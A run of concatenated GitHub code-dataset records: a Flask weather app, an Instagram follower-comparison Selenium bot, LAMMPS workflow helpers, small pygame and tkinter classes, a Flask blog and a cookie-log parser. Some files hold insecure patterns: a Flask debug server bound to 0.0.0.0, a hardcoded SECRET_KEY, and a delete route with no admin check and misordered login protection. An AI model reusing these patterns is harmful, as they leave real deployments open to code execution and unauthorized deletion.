db.clothes.find_one({'high_TMP': 16})\n if chk != 4:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img = clothes_data['img']\n chk = 4\n elif tmp <= 19:\n clothes_data = db.clothes.find_one({'high_TMP': 19})\n if chk != 5:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img = clothes_data['img']\n chk = 5\n elif tmp <= 22:\n clothes_data = db.clothes.find_one({'high_TMP': 22})\n if chk != 6:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img = clothes_data['img']\n chk = 6\n elif tmp <= 26:\n clothes_data = db.clothes.find_one({'high_TMP': 26})\n if chk != 7:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img = clothes_data['img']\n chk = 7\n else:\n clothes_data = db.clothes.find_one({'high_TMP': 100})\n if chk != 8:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img = clothes_data['img']\n chk = 8\n\n clothes_txt = ', '.join(clothes_list)\n msg = '\\n'.join(msg_list)\n\n clothes_list = []\n msg_list = []\n img_t = ''\n chk = 0\n for tmp in [max_TMP_t, min_TMP_t]:\n if tmp <= 5:\n clothes_data = db.clothes.find_one({'high_TMP': 5})\n if chk != 1:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img_t = clothes_data['img']\n chk = 1\n elif tmp <= 9:\n clothes_data = db.clothes.find_one({'high_TMP': 9})\n if chk != 2:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img_t = clothes_data['img']\n chk = 2\n elif tmp <= 11:\n clothes_data = db.clothes.find_one({'high_TMP': 11})\n if chk != 3:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img_t = clothes_data['img']\n chk = 3\n elif tmp <= 16:\n clothes_data = db.clothes.find_one({'high_TMP': 16})\n if chk != 4:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img_t = clothes_data['img']\n chk = 4\n elif tmp <= 19:\n clothes_data = db.clothes.find_one({'high_TMP': 19})\n if chk != 5:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img_t = clothes_data['img']\n chk = 5\n elif tmp <= 22:\n clothes_data = db.clothes.find_one({'high_TMP': 22})\n if chk != 6:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img_t = clothes_data['img']\n chk = 6\n elif tmp <= 26:\n clothes_data = db.clothes.find_one({'high_TMP': 26})\n if chk != 7:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img_t = clothes_data['img']\n chk = 7\n else:\n clothes_data = db.clothes.find_one({'high_TMP': 100})\n if chk != 8:\n clothes_list.append(clothes_data['clothes'])\n msg_list.append(clothes_data['msg'])\n img_t = clothes_data['img']\n chk = 8\n\n clothes_txt_t = ', '.join(clothes_list)\n msg_t = '\\n'.join(msg_list)\n\n if max_TMP - min_TMP >= 10:\n msg = '일교차가 10°C 이상이에요. 감기 걸리지 않도록 두꺼운 옷 챙겨가세요!'\n \n if max_TMP_t - min_TMP_t >= 10:\n msg_t = '일교차가 10°C 이상이에요. 감기 걸리지 않도록 두꺼운 옷 챙겨가세요!'\n\n except Exception as ex:\n print('서버 점검 시간입니다. ', ex)\n \n return render_template('index.html', max_TMP=max_TMP, min_TMP=min_TMP, umbrella=umbrella, clothes_txt=clothes_txt, msg=msg, img=img, max_TMP_t=max_TMP_t, min_TMP_t=min_TMP_t, umbrella_t=umbrella_t, clothes_txt_t=clothes_txt_t, msg_t=msg_t, img_t=img_t )\n\n\n\n@app.route('/update', methods=['POST'])\ndef update_user():\n sido_receive = request.form['sido_give']\n sigungu_receive = request.form['sigungu_give']\n area_receive = request.form['area_give']\n goingToOffice_receive = request.form['goingToOffice_give']\n goingToOffice_receive2 = goingToOffice_receive[0:2]\n goingHome_receive = request.form['goingHome_give']\n goingHome_receive2 = goingHome_receive[0:2]\n\n userID = session[\"userID\"]\n\n db.users.update_one({'userID': userID}, {\n '$set': {\n 'sido': sido_receive,\n 'sigungu': sigungu_receive,\n 'area': area_receive,\n 'goingToOffice': goingToOffice_receive2,\n 'goingToOfficeT': goingToOffice_receive,\n 'goingHome': goingHome_receive2,\n 'goingHomeT': goingHome_receive}})\n return jsonify({'result': 'success'})\n\n@app.route('/update', methods=['GET'])\ndef get_update():\n if session_check() == False:\n return redirect(url_for('login'))\n all_sido = db.grid.distinct(\"sido\")\n user = db.users.find_one({\"userID\" : session[\"userID\"]})\n return render_template('update.html', all_sido=all_sido, user=user)\n\n@app.route('/updatepw', methods=['GET'])\ndef get_updatepw():\n if session_check() == False:\n return redirect(url_for('login'))\n return render_template('updatepw.html', userID=session['userID'])\n\n@app.route('/updatepw', methods=['POST'])\ndef update_userpw():\n pw = request.form['pw_give']\n pw3 = request.form['pw3_give']\n userID = session[\"userID\"]\n user = db.users.find_one({'userID' : userID})\n\n is_right_password = bcrypt.check_password_hash(user['pw'], pw)\n\n if is_right_password == False:\n return jsonify({'result' : 'false'})\n\n pw_hash = bcrypt.generate_password_hash(pw3)\n\n db.users.update_one({'userID': userID}, {'$set': {'pw': pw_hash}})\n return jsonify({'result': 'success'})\n\n@app.route('/join', methods=['GET'])\ndef join_sido():\n if session_check():\n return redirect(url_for('main'))\n all_sido = db.grid.distinct(\"sido\")\n return render_template('join.html', all_sido=all_sido)\n\n@app.route('/join_sigungu', methods=['GET']) # 시도 dropdown 값 받음\ndef join_sigungu():\n sido_receive = request.args.get('sido_give') # 정해진 시도 값 받기\n all_sigungu = db.grid.distinct(\"sigungu\",filter={'sido':sido_receive}) # 정해진 시도의 시군구 값 다 받기\n\n return jsonify({'result': 'success', 'all_sigungu': all_sigungu})\n\n@app.route('/join_village', methods=['GET']) # 시군구 dropdown 값 받음\ndef join_village():\n sigungu_receive = request.args.get('sigungu_give') # 정해진 시군구 값 받기\n all_village = db.grid.distinct(\"village\",filter={'sigungu':sigungu_receive}) # 정해진 시도의 시군구 값 다 받기\n\n return jsonify({'result': 'success', 'all_village': all_village})\n\n@app.route('/join', methods=['POST'])\ndef post_join():\n userID_receive = request.form['userID_give'] \n pw_receive = request.form['pw_give'] \n sido_receive = request.form['sido_give']\n sigungu_receive = request.form['sigungu_give']\n area_receive = request.form['area_give']\n goingToOffice_receive = request.form['goingToOffice_give']\n goingToOffice_receive2 = goingToOffice_receive[0:2]\n goingHome_receive = request.form['goingHome_give']\n goingHome_receive2 = goingHome_receive[0:2]\n\n IDCheck = db.users.find_one({\"userID\":userID_receive})\n if IDCheck:\n return jsonify({'result': 'ID 중복'})\n\n pw_hash = bcrypt.generate_password_hash(pw_receive)\n\n join = {\n 'userID': userID_receive, \n 'pw': pw_hash, \n 'sido': sido_receive,\n 'sigungu': sigungu_receive,\n 'area': area_receive, \n 'goingToOffice': goingToOffice_receive2,\n 'goingToOfficeT': goingToOffice_receive,\n 'goingHome': goingHome_receive2,\n 'goingHomeT': goingHome_receive\n }\n\n db.users.insert_one(join)\n\n session['userID'] = userID_receive\n \n return jsonify({'result': 'success'})\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n if request.method == \"POST\":\n userID = request.form['user_id']\n password = request.form['password']\n user = db.users.find_one({'userID' : userID})\n if user is None:\n return jsonify({\"result\" : \"fail\"})\n is_right_password = bcrypt.check_password_hash(user['pw'], password)\n if is_right_password == False:\n return jsonify({\"result\" : \"fail\"})\n session['userID'] = user['userID']\n return jsonify({\"result\" : \"success\"})\n if session_check():\n return redirect(url_for('main'))\n return render_template('login.html')\n\n@app.route('/logout', methods=[\"GET\"])\ndef logout():\n session.clear()\n return jsonify({\"result\" : \"success\"})\n\ndef session_check():\n userID = session.get('userID')\n if userID is None:\n return False\n return True\n\nif __name__ == '__main__':\n app.run('0.0.0.0', port=5000, debug=True)","repo_name":"parkchoongho/weather_for_going_out","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":17629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40947586471","text":"#!/usr/bin/env python3\nimport sys\nimport yaml\nx = yaml.safe_load(open(sys.argv[1]))\nif (x.get('exclude_from_atlas') is None):\n pheno = x.get('phenotype')\n\n\n algo = x.get('algorithm')\n if (isinstance(algo, str)):\n if algo == \"boltlmm\" or algo == \"saige\":\n print(pheno, algo.upper(), sep=\".\")\n elif (isinstance(algo, list)):\n for val in algo:\n print (val)\n if val == \"boltlmm\" or val == \"saige\":\n print(pheno, val.upper(), sep=\".\")\n","repo_name":"NCI-CGR/plco-analysis","sub_path":"shared-source/format_globus_prefixes.py","file_name":"format_globus_prefixes.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"41978004590","text":"from selenium import webdriver\r\nimport time\r\n\r\n\r\n\r\ndef followers():\r\n time.sleep(2)\r\n scroll_box = driver.find_element_by_xpath(\"/html/body/div[4]/div/div/div[2]\")\r\n last_ht, ht = 0, 1\r\n while last_ht != ht:\r\n last_ht = ht\r\n time.sleep(2)\r\n ht = driver.execute_script(\"\"\"\r\n arguments[0].scrollTo(0, arguments[0].scrollHeight); \r\n return arguments[0].scrollHeight;\r\n \"\"\", scroll_box)\r\n links = scroll_box.find_elements_by_tag_name('a')\r\n names = [name.text for name in links if name.text != '']\r\n # close button\r\n driver.find_element_by_xpath(\"/html/body/div[4]/div/div[1]/div/div[2]/button\").click()\r\n return names\r\n\r\n\r\ndef following():\r\n time.sleep(2)\r\n scroll_box = driver.find_element_by_xpath(\"/html/body/div[4]/div/div/div[2]]\")\r\n last_ht, ht = 0, 1\r\n while last_ht != ht:\r\n last_ht = ht\r\n time.sleep(2)\r\n ht = driver.execute_script(\"\"\"\r\n arguments[0].scrollTo(0, arguments[0].scrollHeight); \r\n return arguments[0].scrollHeight;\r\n \"\"\", scroll_box)\r\n links = scroll_box.find_elements_by_tag_name('a')\r\n names = [name.text for name in links if name.text != '']\r\n # close button\r\n driver.find_element_by_xpath(\"/html/body/div[4]/div/div[1]/div/div[2]/button\").click()\r\n return names\r\n\r\n\r\ndriver_path = r'C:\\Users\\lakshya\\PycharmProjects\\geckodriver.exe'\r\ndriver = webdriver.Firefox(executable_path=driver_path)\r\ndriver.get('https://www.instagram.com/')\r\ntime.sleep(5)\r\n\r\nusername=input(\"Enter username: \")\r\npassword=input(\"Enter Password: \")\r\n\r\n\r\ndriver.find_element_by_xpath(\"//input[@name = 'username']\").send_keys(username) #Enters username\r\ndriver.find_element_by_xpath(\"//input[@name = 'password']\").send_keys(password) #Enters password\r\ndriver.find_element_by_xpath(\"//button[@type='submit']\").click() #LogIn Button\r\ntime.sleep(10)\r\n\r\ndriver.find_element_by_xpath(\"/html/body/div[4]/div/div/div[3]/button[2]\").click() #Not Now Button\r\n\r\ndriver.find_element_by_xpath(\"/html/body/div[1]/section/main/section/div[3]/div[1]/div/div[2]/div[1]/a\").click()\r\ntime.sleep(10)\r\n\r\ndriver.find_element_by_xpath(\"/html/body/div[1]/section/main/div/header/section/ul/li[2]/a\").click() #followers\r\ntime.sleep(5)\r\nlist_followers=[]\r\nlist_followers=followers()\r\n\r\n\r\ndriver.find_element_by_xpath(\"/html/body/div[1]/section/main/div/header/section/ul/li[3]/a\").click()\r\ntime.sleep(1.5)\r\nlist_following=[]\r\nlist_following=following()\r\n\r\n\r\nwhile 1 :\r\n print(\"\\n1.FOLLOWERS\")\r\n print(\"2.FOLLOWING\")\r\n print(\"3.WHO DON'T FOLLOW YOU\")\r\n print(\"4.WHOM YOU DON'T FOLLOW\")\r\n print(\"5.EXIT!!\")\r\n print(\" \")\r\n\r\n n=int(input(\"Enter your choice:\"))\r\n if n==1:\r\n print(\" \")\r\n print(\"YOUR FOLLOWERS:\")\r\n for name in list_followers:\r\n print(name)\r\n elif n==2:\r\n print(\" \")\r\n print(\"PEOPLE WHOM YOU ARE FOLLOWING:\")\r\n for name in list_following:\r\n print(name)\r\n elif n==3:\r\n print(\" \")\r\n print(\"PEOPLE WHO DON'T FOLLOW BACK:\")\r\n t=[]\r\n t=list(set(list_following)-set(list_followers))\r\n for name in t:\r\n print(name)\r\n elif n==4:\r\n print(\" \")\r\n print(\"PEOPLE WHOM YOU DON'T FOLLOW BACK:\")\r\n t=[]\r\n t = list(set(list_followers)-set(list_following))\r\n for name in t:\r\n print(name)\r\n elif n==5:\r\n print(\"THANKS FOR USING!!\")\r\n exit()\r\n","repo_name":"LakshitSankhla/Insta_bot","sub_path":"insta_bot.py","file_name":"insta_bot.py","file_ext":"py","file_size_in_byte":3576,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"36869108077","text":"\"\"\"\nThis module defines functions that yield lammps workflows\n\"\"\"\n\nfrom fireworks import Workflow\n\n# from pymatgen.io.lammps.sets import LammpsInputSet\nfrom pymatgen.io.lammps.data import Topology\n\nfrom atomate.lammps.fireworks.core import LammpsForceFieldFW, LammpsFW, PackmolFW\n\n__author__ = \"Kiran Mathew\"\n__email__ = \"kmathew@lbl.gov\"\n\n\ndef get_wf_basic(\n input_file,\n user_settings,\n lammps_data=None,\n input_filename=\"lammps.in\",\n is_forcefield=False,\n lammps_cmd=\"lmp_serial\",\n dump_filenames=None,\n db_file=None,\n name=\"LAMMPS Wflow\",\n):\n \"\"\"\n Returns basic lammps workflow. This is more useful if the input_file is template file with\n the corresponding settings defined in user_settings\n\n Args:\n input_file (str): path to lammps input file.\n Note: It could be a template file too, then the user_settings must be set.\n user_settings ([dict] or dict): list of settings dict. if the input_file is a template file\n then each dict contains the key value pairs for the template file.\n lammps_data (string/LammpsData/LammpsForceFieldData): path to the data file or\n an appropriate object.\n input_filename (string): input file name. This is the name of the input file passed to the\n lammps binary.\n is_forcefield (bool): whether the data file has forcefield and topology info in it.\n This is required only if lammps_data is a path to the data file instead of a data object.\n lammps_cmd (string): lammps command to run (skip the input file).\n dump_filenames ([str]): list of dump file names\n db_file (string): path to the db file.\n name (str): workflow name\n\n Returns:\n Workflow\n \"\"\"\n wf_name = name\n user_settings = user_settings or {}\n user_settings = (\n user_settings if isinstance(user_settings, list) else [user_settings]\n )\n\n fws = []\n for settings in user_settings:\n\n data_filename = settings.get(\"data_file\", \"lammps.data\")\n\n if \"log_file\" not in settings:\n settings[\"log_file\"] = \"log.lammps\"\n log_filename = settings[\"log_file\"]\n\n lammps_input_set = LammpsInputSet.from_file(\n wf_name,\n input_file,\n user_settings=settings,\n lammps_data=lammps_data,\n data_filename=data_filename,\n )\n\n fws.append(\n LammpsFW(\n lammps_input_set=lammps_input_set,\n input_filename=input_filename,\n data_filename=data_filename,\n lammps_cmd=lammps_cmd,\n db_file=db_file,\n log_filename=log_filename,\n dump_filename=dump_filenames,\n )\n )\n\n return Workflow(fws, name=name)\n\n\ndef get_packmol_wf(\n input_file,\n user_settings,\n constituent_molecules,\n packing_config,\n forcefield,\n final_box_size,\n topologies=None,\n ff_site_property=None,\n tolerance=2.0,\n filetype=\"xyz\",\n control_params=None,\n lammps_cmd=\"lmp_serial\",\n packmol_cmd=\"packmol\",\n dump_filenames=None,\n db_file=None,\n name=\"Packmol Lammps Wflow\",\n):\n \"\"\"\n Returns workflow that uses Packmol to pack the constituent molecules into the given\n configuration and then run lammps on the final packed molecule for the given list of\n user_settings.\n\n Args:\n input_file (str): path to lammps input(or template) file.\n user_settings ([dict] or dict): list of settings dict. if the input_file is a template file\n then each dict contains the key value pairs for the template file.\n constituent_molecules ([Molecules]): list of pymatgen Molecule objects\n packing_config ([dict]): list of configuration dictionaries, one for each constituent molecule.\n forcefield (ForceField): pymatgen.io.lammps.forcefield.ForceField object\n final_box_size ([list]): list of list of low and high values for each dimension [[xlow, xhigh], ...]\n topologies ([Topology]): list of Topology objects. If not given, will be set from the\n topology of the constituent molecules.\n ff_site_property (str): the name of the site property used for forcefield mapping\n tolerance (float): packmol tolerance\n filetype (str): packmol i/o file type.\n control_params (dict): packmol control params\n lammps_cmd (string): lammps command to run (skip the input file).\n packmol_cmd (string): path to packmol bin\n dump_filenames ([str]): list of dump file names\n db_file (string): path to the db file.\n name (str): workflow name\n\n Returns:\n Workflow\n \"\"\"\n\n user_settings = (\n user_settings if isinstance(user_settings, list) else [user_settings]\n )\n\n packmol_output_file = f\"packed_mol.{filetype}\"\n mols_number = [mol_config[\"number\"] for mol_config in packing_config]\n\n topologies = topologies or []\n # if not given then get the topology from the constituent molecules.\n if not topologies:\n topologies = [\n Topology.from_molecule(mol, ff_map=ff_site_property or \"ff_map\")\n for mol in constituent_molecules\n ]\n\n fws = []\n\n fw_packmol = PackmolFW(\n constituent_molecules,\n packing_config,\n tolerance=tolerance,\n filetype=filetype,\n control_params=control_params,\n output_file=packmol_output_file,\n site_property=ff_site_property,\n packmol_cmd=packmol_cmd,\n )\n\n fws.append(fw_packmol)\n\n for setting in user_settings:\n\n data_filename = setting.get(\"data_file\", \"data.lammps\")\n\n if \"log_file\" not in setting:\n setting[\"log_file\"] = \"log.lammps\"\n log_filename = setting[\"log_file\"]\n\n fw_lammps = LammpsForceFieldFW(\n input_file,\n packmol_output_file,\n forcefield,\n final_box_size,\n topologies=topologies,\n constituent_molecules=constituent_molecules,\n mols_number=mols_number,\n user_settings=setting,\n ff_site_property=ff_site_property,\n input_filename=\"lammps.in\",\n data_filename=data_filename,\n lammps_cmd=lammps_cmd,\n db_file=db_file,\n log_filename=log_filename,\n dump_filenames=dump_filenames,\n parents=[fw_packmol],\n )\n fws.append(fw_lammps)\n\n return Workflow(fws, name=name)\n","repo_name":"hackingmaterials/atomate","sub_path":"atomate/lammps/workflows/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":6487,"program_lang":"python","lang":"en","doc_type":"code","stars":219,"dataset":"github-code","pt":"19"} +{"seq_id":"14772998847","text":"import pygame\nfrom pygame.sprite import Sprite\n\nclass Mushroom(Sprite):\n '''A class to represent a single mushroom in the pack.'''\n\n def __init__(self, settings, screen):\n '''Initialize the mushroom and set its starting position.'''\n super(Mushroom, self).__init__()\n self.screen = screen\n self.settings = settings\n \n # Load the mushroom image and set its rect attribute.\n self.image = pygame.image.load('Images/mushroom.png')\n self.rect = self.image.get_rect()\n\n # Start a new mushroom near the top of the left screen.\n self.rect.x = .5*self.rect.width\n self.rect.y = 10*self.rect.height\n\n # Store the mushroom's exact position.\n self.x = float(self.rect.x)\n\n def blitme(self):\n '''Draw the mushroom at its current location.'''\n self.screen.blit(self.image, self.rect)\n \n def update(self):\n '''Move mushroom to the right or left'''\n self.x += (self.settings.mushroom_speed_factor*self.settings.fleet_direction)\n self.rect.x = self.x\n\n def check_edges(self):\n '''Return True if mushroom at edge of screen.'''\n screen_rect = self.screen.get_rect()\n if self.rect.right >= screen_rect.right:\n return True\n elif self.rect.left <= 0:\n return True","repo_name":"achubaeva/pygame-mushroom-invasion","sub_path":"mushroom.py","file_name":"mushroom.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"73649938351","text":"import tkinter as tk\nfrom tkinter import ttk\nfrom scrollview import ScrollView\nimport db_init as db\nfrom flush.deck import Deck\n\n\n\nclass DeckFrame(tk.Frame):\n def __init__(self, *args, **kwargs):\n super(DeckFrame, self).__init__(args[0], padx=5)\n\n # self.app = kwargs['app']\n self.subjects = db.get_subjects()\n self.subVar = tk.StringVar()\n\n self.folders = []\n self.search_frame = tk.Frame(self)\n self.search_frame.grid(row=0, column=0)\n\n self.subject_lbl = tk.Label(self.search_frame, text=\"Deck\", justify=tk.LEFT, padx=10)\n self.subject_lbl.grid(row=0, column=0, sticky='w')\n\n self.catbox = ttk.Combobox(self.search_frame, textvariable=self.subVar, width=22)\n self.catbox.grid(row=0, column=1)\n self.catbox['value'] = db.get_subjects()\n self.catbox.current()\n self.catbox.bind(\"<>\", self.display_decks)\n self.catbox.bind(\"\", self.display_decks)\n\n self.scrollview = ScrollView(self, width=196, height=500, scroll=True)\n self.scrollview.grid(row=1, column=0)\n\n def display_decks(self, e):\n decks = db.get_all_decks(e.widget.get())\n if len(self.folders) > 0:\n for f in self.folders:\n f.destroy()\n \n for i in range(len(decks)):\n cards = db.get_cards(decks[i])\n new = Deck(self.scrollview.container, master=self, category=decks[i], child=cards)\n new.grid(row=i, column=0, sticky='w')\n self.folders.append(new)\n self.scrollview.reupdate()\n","repo_name":"elmaus/studybuddy","sub_path":"flush/deckframe.py","file_name":"deckframe.py","file_ext":"py","file_size_in_byte":1596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"12716281874","text":"from functools import wraps\n\nfrom flask import Flask, render_template, redirect, url_for, flash, request, abort\nfrom flask_bootstrap import Bootstrap\nfrom flask_ckeditor import CKEditor\nfrom datetime import date\n\nfrom sqlalchemy import ForeignKey\nfrom werkzeug.security import generate_password_hash, check_password_hash\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.orm import relationship\nfrom flask_login import UserMixin, login_user, LoginManager, login_required, current_user, logout_user\nfrom forms import CreatePostForm\nfrom flask_gravatar import Gravatar\nimport forms\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = '8BYkEfBA6O6donzWlSihBXox7C0sKR6b'\nckeditor = CKEditor(app)\nBootstrap(app)\n\n# CONNECT TO DB\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///blog.db'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb = SQLAlchemy(app)\nlogin_manager = LoginManager()\nlogin_manager.init_app(app)\n\n\n# CONFIGURE TABLES\n\n## MORE CODE ABOVE\n\nclass User(UserMixin, db.Model):\n __tablename__ = \"users\"\n id = db.Column(db.Integer, primary_key=True)\n email = db.Column(db.String(100), unique=True)\n password = db.Column(db.String(100))\n name = db.Column(db.String(100))\n posts = relationship(\"BlogPost\", back_populates=\"author\")\n comments = relationship(\"Comment\", back_populates=\"comment_author\")\n\n\nclass BlogPost(db.Model):\n __tablename__ = \"blog_posts\"\n id = db.Column(db.Integer, primary_key=True)\n author_id = db.Column(db.Integer, db.ForeignKey(\"users.id\"))\n author = relationship(\"User\", back_populates=\"posts\")\n title = db.Column(db.String(250), unique=True, nullable=False)\n subtitle = db.Column(db.String(250), nullable=False)\n date = db.Column(db.String(250), nullable=False)\n body = db.Column(db.Text, nullable=False)\n img_url = db.Column(db.String(250), nullable=False)\n\n # ***************Parent Relationship*************#\n comments = relationship(\"Comment\", back_populates=\"parent_post\")\n\n\nclass Comment(db.Model):\n __tablename__ = \"comments\"\n id = db.Column(db.Integer, primary_key=True)\n author_id = db.Column(db.Integer, db.ForeignKey(\"users.id\"))\n comment_author = relationship(\"User\", back_populates=\"comments\")\n\n # ***************Child Relationship*************#\n post_id = db.Column(db.Integer, db.ForeignKey(\"blog_posts.id\"))\n parent_post = relationship(\"BlogPost\", back_populates=\"comments\")\n text = db.Column(db.Text, nullable=False)\n\n\nwith app.app_context():\n db.create_all()\n\n\ndef admin_only(f):\n @wraps(f)\n def decorated_function(*args, **kwargs):\n # If id is not 1 then return abort with 403 error\n if current_user.is_authenticated and current_user.id != 1:\n return abort(403)\n # Otherwise continue with the route function\n return f(*args, **kwargs)\n\n return decorated_function\n\n\n@login_manager.user_loader\ndef load_user(user_id):\n return User.query.get(int(user_id))\n\n\n@app.route('/')\ndef get_all_posts():\n posts = BlogPost.query.all()\n return render_template(\"index.html\", all_posts=posts)\n\n\n@app.route('/register', methods=[\"POST\", \"GET\"])\ndef register():\n form = forms.CreateUser()\n if request.method == \"POST\":\n name = request.form.get(\"name\")\n email = request.form.get(\"email\")\n password = generate_password_hash(password=request.form.get(\"password\"))\n try:\n new_user = User(name=name, email=email, password=password)\n db.session.add(new_user)\n db.session.commit()\n user = db.session.execute(db.select(User).filter_by(name=name)).scalar_one()\n login_user(user)\n return redirect(url_for(\"get_all_posts\"))\n except:\n flash(\"The user name you entered is already in use; please login instead.\")\n return redirect(url_for(\"login\"))\n return render_template(\"register.html\", form=form)\n\n\n@app.route('/login', methods=[\"GET\", \"POST\"])\ndef login():\n if current_user.is_authenticated:\n return redirect(url_for(\"get_all_posts\"))\n if request.method == \"POST\":\n email = request.form.get(\"email\")\n password = request.form.get(\"password\")\n try:\n user = db.session.execute(db.select(User).filter_by(email=email)).scalar_one()\n if user and check_password_hash(pwhash=user.password, password=password):\n login_user(user)\n return redirect(url_for(\"get_all_posts\"))\n else:\n flash(\"The password you entered is incorrect. Please try again.\")\n return redirect(url_for(\"login\"))\n\n except:\n flash(\n \"The username you entered does not exist. Please check your spelling and try again or sign up for a \"\n \"new account.\")\n return redirect(url_for(\"login\"))\n form = forms.LoginUser()\n return render_template(\"login.html\", form=form)\n\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('get_all_posts'))\n\n\n@app.route(\"/post/\", methods=[\"POST\", \"GET\"])\n@login_required\ndef show_post(post_id):\n gravatar = Gravatar(app,\n size=100,\n rating='g',\n default='https://upload.wikimedia.org/wikipedia/commons/7/7c/Profile_avatar_placeholder_large'\n '.png?20150327203541',\n force_default=True,\n force_lower=False,\n use_ssl=False,\n base_url=\"https://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50\")\n comments = db.session.query(Comment).all()\n requested_post = BlogPost.query.get(post_id)\n form = forms.CommentForm()\n if request.method == \"POST\":\n print(request.form.get(\"CKEditorField\"))\n if form.validate_on_submit():\n new_com = Comment(text=request.form.get(\"body\"),\n comment_author=current_user,\n parent_post=requested_post)\n db.session.add(new_com)\n db.session.commit()\n return redirect(url_for(\"get_all_posts\"))\n return render_template(\"post.html\", post=requested_post, form=form, comments=comments, gravatar=gravatar)\n\n\n@app.route(\"/about\")\ndef about():\n return render_template(\"about.html\")\n\n\n@app.route(\"/contact\")\ndef contact():\n return render_template(\"contact.html\")\n\n\n@app.route(\"/new-post\", methods=[\"POST\", \"GET\"])\n@admin_only\n@login_required\ndef add_new_post():\n form = CreatePostForm()\n if form.validate_on_submit():\n new_post = BlogPost(\n title=request.form.get(\"title\"),\n subtitle=request.form.get(\"subtitle\"),\n body=request.form.get(\"body\"),\n img_url=request.form.get(\"img_url\"),\n author=current_user,\n date=date.today().strftime(\"%B %d, %Y\")\n )\n db.session.add(new_post)\n db.session.commit()\n return redirect(url_for(\"get_all_posts\"))\n return render_template(\"make-post.html\", form=form)\n\n\n@app.route(\"/edit-post/\")\n@login_required\ndef edit_post(post_id):\n post = BlogPost.query.get(post_id)\n edit_form = CreatePostForm(\n title=post.title,\n subtitle=post.subtitle,\n img_url=post.img_url,\n author=post.author,\n body=post.body\n )\n if edit_form.validate_on_submit():\n post.title = edit_form.title.data\n post.subtitle = edit_form.subtitle.data\n post.img_url = edit_form.img_url.data\n post.author = edit_form.author.data\n post.body = edit_form.body.data\n db.session.commit()\n return redirect(url_for(\"show_post\", post_id=post.id))\n\n return render_template(\"make-post.html\", form=edit_form)\n\n\n@login_required\n@app.route(\"/delete/\")\ndef delete_post(post_id):\n post_to_delete = BlogPost.query.get(post_id)\n db.session.delete(post_to_delete)\n db.session.commit()\n return redirect(url_for('get_all_posts'))\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"idrisabkar/idrissruso","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":8073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72140739311","text":"import sys\nimport logging\nimport argparse\nfrom datetime import datetime\nfrom collections import defaultdict\n\nclass most_active_cookie():\n def __init__(self):\n \"\"\"Initialize data structure and logger\"\"\"\n\n # {\"date\": {\"cookieName\": count}}\n self.dateMap = defaultdict(lambda: defaultdict(int)) \n self.log = logging.getLogger(\"most_active_cookie\")\n \n def read_file(self, filepath: str) -> None:\n \"\"\"Read the logs into memory as a dateMap\"\"\"\n\n with open(filepath, \"r\") as f:\n assert (next(f)==\"cookie,timestamp\\n\"), \\\n \"First line of logs must be column names = cookie,timestamp\"\n line_number = 2\n for line in f:\n items = line.split(\",\")\n if len(items)!=2:\n self.log.info(f\"Invalid number of columns at row {line_number}. Skipped.\")\n # ensuring format of cookie names\n elif not items[0].isalnum() or len(items[0])!=16:\n self.log.info(f\"Cookie name error at line {line_number}. Skipped.\")\n else:\n try:\n # using string single date as key\n formattedDate = str(datetime.strptime(items[1].strip(), r\"%Y-%m-%dT%H:%M:%S%z\").date())\n self.dateMap[formattedDate][items[0]] += 1\n except:\n self.log.info(f\"Date format error at line {line_number}. Skipped.\")\n line_number += 1\n self.log.info(\"Logs read into memory\")\n\n def printMostActive(self, date: str) -> None:\n \"\"\"Scan the unique cookies on given day and print Most Active Cookies\"\"\"\n\n formattedDate = str(datetime.strptime(date.strip(), r\"%Y-%m-%d\").date())\n if formattedDate not in self.dateMap:\n print(\"No Values for Requested Date\")\n return \n maxCount = 0\n activeCookies = []\n for key in self.dateMap[formattedDate].keys():\n if self.dateMap[formattedDate][key]>maxCount:\n activeCookies = []\n maxCount = self.dateMap[formattedDate][key]\n activeCookies.append(key)\n elif self.dateMap[formattedDate][key]==maxCount:\n activeCookies.append(key)\n for each_cookie in activeCookies:\n print(each_cookie)\n\n def save_logs(self):\n logging.basicConfig(filename=f\"logs/mostActiveCookieLogs_{datetime.now()}\",\n filemode='a',\n format='%(asctime)s,%(msecs)d %(name)s %(levelname)s %(message)s',\n datefmt='%H:%M:%S',\n level=logging.DEBUG)\n\nif __name__ == '__main__':\n parser = 